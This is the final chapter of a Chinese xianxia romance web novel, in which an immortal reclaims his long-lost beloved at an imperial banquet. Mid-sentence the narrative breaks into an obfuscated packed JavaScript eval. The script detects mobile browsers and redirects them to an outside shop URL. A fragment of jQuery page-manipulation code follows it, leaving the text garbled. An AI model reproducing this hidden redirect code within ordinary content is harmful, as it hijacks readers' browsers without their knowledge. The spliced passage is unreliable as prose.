230. 结局(3)
作品:《失手伤害反派后》 大殿灯火通明,煌煌然照得远处的飞鸟都挪了不止一次窝。转瞬就到了第二日,殿门还是关着的,中间只开了三次,都是去送饭的。
日晷上的投影又悄无声息地转了一圈,待晨曦升起,那扇门总算被人从里头推开了。
奚空择伸了个懒腰,“总算搞定抄完了!可累死我了!”捶捶肩,“待会就把这些送过去,今晚宴会照常进行。”
身后响起脚步声,是走出来的尉迟景。尽管两人都熬了几个通宵,可他的脸左一块,右一处的淤黑,浓重暗沉,一丝正常人的气色也不见,而这还是他中途睡了好几觉的结果。
可反观冷漠掠过他远去的少年,红唇白齿,面色白皙,全然不见半点熬夜抄信函过后的颓靡。甚至于绝大多数信函都是他抄完的,他可是半刻都没休息。
成仙真好,容颜不衰,还体质贼棒,简直气煞人!奚空择忿忿地想。
不过转念一想,奚空择又怎么会不知道尉迟景在想什么,无非就是早点见到余以若罢了,心地倒是诚恳,帮了他这么久,也没半点怨言,人倒还实在,就是偶尔嘴硬有点欠揍,和他师妹一个德性。
经过了他的检验,也觉得可行,他来做这个月老也未尝不可。
想到这,叫住了进殿抱信函的人,“玉兮郡主还在皇城吗?”
那人拱了拱手,“回国师的话,玉兮郡主昨日出城了。”
“出城了?”奚空择喃喃地望向远处,是尉迟景离开的地方,“这人太心急了,都把人吓到了。那这样,把加急的密报给她送去,信上就写……”奚空择摸了摸下巴,“他师兄突遭刺杀,情况危急,请速归。”
那人点头应是就去准备了。
望向鸢啼鹤鸣的长空,奚空择心情颇好,把袖子往上掳了掳,说道:“一切都在按计划进行,就看今晚的了。”
……
宴会是在长明殿中举行,尉迟景发觉在皇宫还是找不到余以若,就想起奚空择的话,但愿他没骗自己,拿出信函,早早地就在宫人的簇拥下来到了长明殿。
尽管没到时间,可殿内的这个时候人已经快要坐满了,四面八方点着高高的仙鹤宫灯,把这金碧辉煌的大殿照得形似白日,特别是穹顶上涂抹的并不是单一的金色,是稀缺的蓝色颜料,这就让这大殿显出几分青空的澄净来。
凡人都对仙君无比尊崇,特地把尉迟景的位置安设在了新君的右边,仅次于左边的国主之位。
新君尚简,心地宽厚,不喜铺张,厌恶杀戮,铺着椅子的不是柔软的皮毛狐裘,是上贡的蜀锦,团花锦簇,大朵大朵的牡丹花盛开,富贵雍容,大方典雅。
尉迟景一向喜素,瞧见这样的装潢也并不厌恶,只是觉得搭配上大殿的总体布局,破有种置身花海的错觉,尤其是不远处有棵桃花在风的吹拂下,摇晃枝桠,送进了一波又一波花的飘香。
众人的视线追随着高坐上的仙君而去,自然也看到了那开着重瓣的桃花,却不知道有什么特殊的,竟然他流露出并不多见却又不违和的温情。
正看着,新君来了,他的身后跟着国师,国师的身后还有个穿着碧绿纱裙的姑娘。众人起身,拱手行礼,新君笑着摆手,让他们免礼,等他坐下,那些摇头说不敢的权贵才缓缓坐下。
那碧绿纱裙的姑娘也在新君右手边的位置上坐下,可动作却极为僵硬,像是只被盯上的猎物,极不自然,连在国师的几声催促下她才硬着头皮坐好。
精致小巧、白里透红的鹅蛋脸,左右扎着两个圆圆的丫髻,衣着并不繁复,齐胸的碧绿纱裙,身上也不见什么装饰,却已然把在座头戴宝珠,通身金银的贵妇比了下去,让人的目光不自觉就追随了那少女而去。
可众人发现那少女总是在避着她的左边,好似生怕被人发现,以至于连夹着的丸子再三掉落这么极小的动静都显得恫人心魂。
少女左边坐着的……众人抬头去看,是仙君,灵宿仙君。
此刻那神色冷淡的仙君脸上露出浅浅的诡异的笑,漂亮的眸子里风暴翻动,仿佛下一刻就要把人扒皮抽骨、侵蚀殆尽。从始至终,那琉璃般的眸子里装着的都是那少女。
这一幕不由地让在坐的待字闺中的女子咬紧了下唇,仙君的眸光太明显了,一丁点都不带隐瞒,就算没亲身体会过,也知道那隐晦的眸色中藏着的无尽的情思是如何波涛汹涌,就差直接将人掠走了。
可偏偏他直勾勾看着的人是那位,国师的师妹,大楚国新封的玉兮郡主。
就算不知道她的身份地位,就从她坐的位置,也知道此人仅次国师的尊荣身份也绝不是假话。
“喝酒,喝酒!”新君觉得气氛颇为古怪,做了这个和事佬,举起杯盏一扬,又把众人的注意力拉了回来。
“祝我国年年岁岁繁华锦盛,天佑我国,万载长存,更祝国主万寿永昌,威震四海,德泽天下。”
“好,借丞相吉言!”新君欢喜地饮尽杯中甘酒。
再接着宴会到了高潮阶段,是舞姬献舞,适才把灵宿仙君的动作收入眼底的国主,也颇为上道,连连拍手叫上来几个绝美的异域舞姬来,还友好地侧过身子,轻声对仙君道:“上仙,这里的舞姬都是朕新近挑选的,您看看,合适吗?”
轻柔的丝绸“嘶拉——”一声被扯开,里头纤纤袅袅走出衣着清凉的舞姬,半张面覆着纱,一双眉目向在座的人暗送秋波,嫩藕般的臂在身前摆动,白花花的一大片,伴随着肚腹上装得叮啷作响的吊坠,教人春心萌动,脸色潮红,一颗心跳动得如雷贯耳。
“陛下!这就让小的先一泽芳姿可好?”有的官宦已经吃醉了,越过案台朝那舞姬扑去。
突如起来闯进个肥硕的身体,那些舞姬都吓了大跳,舞姿都乱了,可又很快调整了起来,把那被官宦选中的女子推了出去,再一次扭起纤细的腰肢朝在座的男子抛洒出去媚眼。
其中得了国主旨意的舞姬早已挥动着袖子,从队伍中走出,四散而开,有的走向了那些吃酒的官宦,有的走向了那些女眷,更多的还是走向了尉迟景。
毕竟纵观整个大殿,唯有此人的姿容是最盛,也是最绝情。
要是细心一点的人就能看出,那仙君的视线从没在舞姬身上停留半刻,连视线从那头越过都没可能,从开始除了回答国主的问话,他的视线就一直落到那玉兮郡主的身上,唇角还勾着笑,是种危险又可怕的笑。
偏生那玉兮郡主还丝毫未觉,热情洋溢地盯着那绝美的舞姬,眼神里的爱慕都快溢了出来。
舞姬在尉迟景面前舞动水袖碰了壁,哀怨地朝国主抛了个媚光,娇嗔道:“陛下……”
新君咳了咳,一边安抚怀中的舞姬,一边微微倾过身子问尉迟景,“仙君,您可看上哪个了没有?这些美人可是顶好的姿颜,温柔小意,仙君要是喜欢,尽可都带回上界。”
“可以送我?”尉迟景这会儿转头了。
新君不觉得有什么不对,点头,“自然,朕一言九鼎,仙君喜欢哪个,直接带走就是,就当是朕送给仙君的见面礼。”
“哪个都行?”尉迟景问。
新君点头,“自然是,仙君莫不是不信朕?”
“陛下金口玉言,哪有不信的道理。”
“这是当然,这么多人看着,众口铄金,我焉能说谎?”新君信誓旦旦。
“好。”尉迟景唇角一勾,双指一指,“我要她,玉兮郡主。”
话一出,大殿静了一静。
新君愣怔了,“仙君……这不是在和朕开玩笑吧,这位是……”
“难道国君要翻悔?”尉迟景冷道。
新君为难了,那位玉兮郡主可是国师的师妹,又不是舞姬,哪能说送就送的啊。国师辅佐大楚没有功劳也有苦劳,他是金子做的,他的师妹就是银子做的,那也是珍贵得不得了啊,就算他是仙君,这人也不是他说能送就能送的。
可是国君一言九鼎,说出去的话就是泼出去的水,是收不回来的,才上任不到两年,就出尔反尔,这以后还有几人能服众啊。要是他是普通人打发打发就得了,可偏偏他是上界的仙君,又偏偏是在众目睽睽之下,这让他想推辞都推辞不了。
新君只得弱弱地去寻问国师的意见,拿不定主意的时候还有国师在,他总能想个两全其美的法子,“国师……您看,您的师妹如何处置?是送还是不送?”
奚空择道:“等。”
“等?”新君一头雾水,“什么意思?”
什么叫等,这得等到什么时候,殊不知刚才仙君那一番话把所有人的目光都聚集过来了,舞姬不跳舞了,官员也不喝酒了,就连端着空琉璃盏去换菜的宫人都停下了步子,一同看着这头。
从小到大,新君就没碰见过像今天这么为难的场面,偏偏国师还说要等,究竟是怎么个等法,他心里急得不行。
好在有人动了,是坐在案台上吃菜的玉兮,往门口跑去了。
就在她要冲出偏门的刹那,“哐当、哐当——”几声,从四周向中心开始聚拢,大殿的偏门和正门都包括在内,窗户和门都一一有顺序地动了,像是在弹奏愉人悦耳动听的曲调似的,不过眨眼,能出去的空档都牢牢地阖稳了,不留缝隙。
俨然不是外头的人阖上的,而是新君旁边的这位仙君的手笔。
察觉出不去的玉兮硬着头皮走了回来,自然地坐回了矮凳上,盘起腿就要夹菜,陡然响起少年仙君的声音,“多年没见,脸皮变厚了不少啊,还知道回来吃菜,你吃得下吗?啊?余以若,你是半颗心都没有的吗?你个黑心人!”
玉兮低头不语,夹了满满当当的一筷子咽下,又夹了一大口,吃得不知道多香甜,压根就不在乎这位所有人都恨不得能搭上话的少年仙君说的是什么。
显然,仙君更加火大,“吃吃吃!你是猪吗?就知道吃!我跟你说话,你耳背吗?”
这当儿玉兮抬头了,是张神
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17072732|169447||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
色淡然的脸,没有半分窘色,“你不是猪,你不用吃!仙猪!”
被这么劈头盖脸地骂,是人都会生气的吧,偏生新君旁边的这位灵宿仙君还笑了,一脸的喜气洋洋,活像是中了什么大奖,连桌上的酒也不喝了,绝好的位置也不坐了,挨挤着就跑到了玉兮的身旁端正坐下,仿佛不当众人惊掉下巴的惊愕存在。
新君被这一幕看懵了,不确定地问:“仙君认得郡主?”
回答的却不是尉迟景,是玉兮,她抬起稚嫩的脸,一边把尉迟景推开,一边摇头,“一点都不认识。”
“不认识?”尉迟景笑了,“还一点都不,余以若,长本事了啊,先前谁抱着我说喜欢我的,你是鱼吗?记忆就只有三秒。”
“我是玉,玉兮嘛。”余以若说道。
“还玉兮,我还灵宿呢!”尉迟景抓起她的手腕探了探,“什么时候飞升的,怎么也不跟我说一声,你知不知道我找你找得多辛苦?”
“和你说黄花菜都凉了。”余以若夹起丸子嚼了嚼,呜咽道。
“这下承认自己是余以若了啊?”
余以若一噎,“什么啊,我什么时候说过。”想起什么,一挥手,把吃酒的众人的视线隔离出去,那些一个个张大能吞得下鸡蛋的嘴巴才勉强地闭了起来,而后若无其事地继续进行宴会,好像刚才的一切只不过是他们的错觉。
“你对他们用仙术?”尉迟景抓过她的手继续探,“你不要你的命,我还要。”
“只是简单地清除这段不怎么对劲的记忆而已,又不是什么大事,上界的人不会为难我的。”余以若边吃边道:“不像你,一下来就搞这么大的阵仗,活像恨不得所有人都知道你来了一样……”
“很好啊。”
果真,余以若一不留神说漏了嘴,尉迟景阴沉的眸色已近在眼前了,“你早就发现了我啊?”
“没有吧。”余以若躲避他追问的视线,看向了那再一次翩跹起舞的舞姬。
尉迟景捏起她的下巴移向自己,“看我!”
“两个眼睛,一个鼻子,一张嘴,有什么好看的?”余以若拍开他的手。
“……我不好看?”
余以若只是开玩笑而已,谁知道他突然神色正经了起来,可不得不说他是生得好看的,就算她近些年也见识过不少人,可还是觉得眼前的这张脸长得很对她胃口,昧着良心的话她也说不出。
只弱弱地点头说道:“好看。”
“那么,你喜欢的是我的脸,还是我这个人?”尉迟景又不耐烦地追问道。
“都差不多。”余以若不想回答这种无聊的问题。
“行啊,出息了,平素不为美色诱惑,现在就我这张脸就能让你说出昧着良心的话,可见你余以若还是很危险的。”尉迟景拿起挑净了鱼骨头的鱼肉,放到她面前,“幸亏我来得早,要是再晚一点,我头上就不只是一两颗草那么简单了。”
“没有昧着良心。”余以若拿起筷子尝了口白嫩的鱼肉,一惊,狐疑地看着他,“这三百年你是不是在哪进修了?”
“嗯?”尉迟景没听懂,“什么意思?”
“还会挑鱼骨头。”余以若吃了一半,把肉给他推了回去,“匪夷所思。”
听不懂她的话,可她的动作尉迟景算是明白了,轻轻一挑眉,“你吃醋了?”
“没。”余以若淡淡地否定,“只是好奇你竟然这么上道,像是变了个人。”
“你说的没错。”尉迟景也不否认,“那人还忒可恶,让我吃这个。”夹起香菇在余以若眼前晃,“你知道这是什么吗?”
“拿开,臭臭的。”余以若嫌弃道。
“对啊,那人不仅让我挑鱼骨头,还把香菇给我吃,我还要扒茄子皮……”尉迟景絮絮叨叨地说道,说得余以若都要睡着了,他才神秘兮兮地问,“你知道那个人是谁吗?”
“反正不是我,我是不会干这样的事情的。”
“巧了,就是你。”尉迟景又把那鱼肉推了回去,揉揉她的脑袋,“一直都是你,吃吧。”
正说着,宴会已然要落幕,新君拍拍手,站起身高声喊道:“诸位爱卿,今日正巧是春分,朕知道诸位事务繁多,抽不开身,朕特地移来了桃花,正是玉绵林响当当的桃花,邀请诸位爱卿一同观赏,一同沐浴这无尽的福泽!”
说罢,台下高一声低一声地恭贺新君万岁,感念新君的体恤,目光也移向了门口。
硕大的花树缓缓地由四个轮子的小推车移了进来,行走的过程中,还扑簌抖落了些许花瓣,花瓣飘扬,有的落入了银碟,有的飘到了姑娘的发顶,还有的落在情人的眉间,飘飘洒洒,拼成朵朵瑰丽的桃花。
特地穿了红衣的少年仙君凝视着怀中的人,不顾俗世热闹,唯有怀中的绿衣姑娘才是他的珍宝,他的福泽,他的桃花。他搂紧了她,凑在她的耳畔轻声说道:“飘絮满城,念君无极。”
——正文完

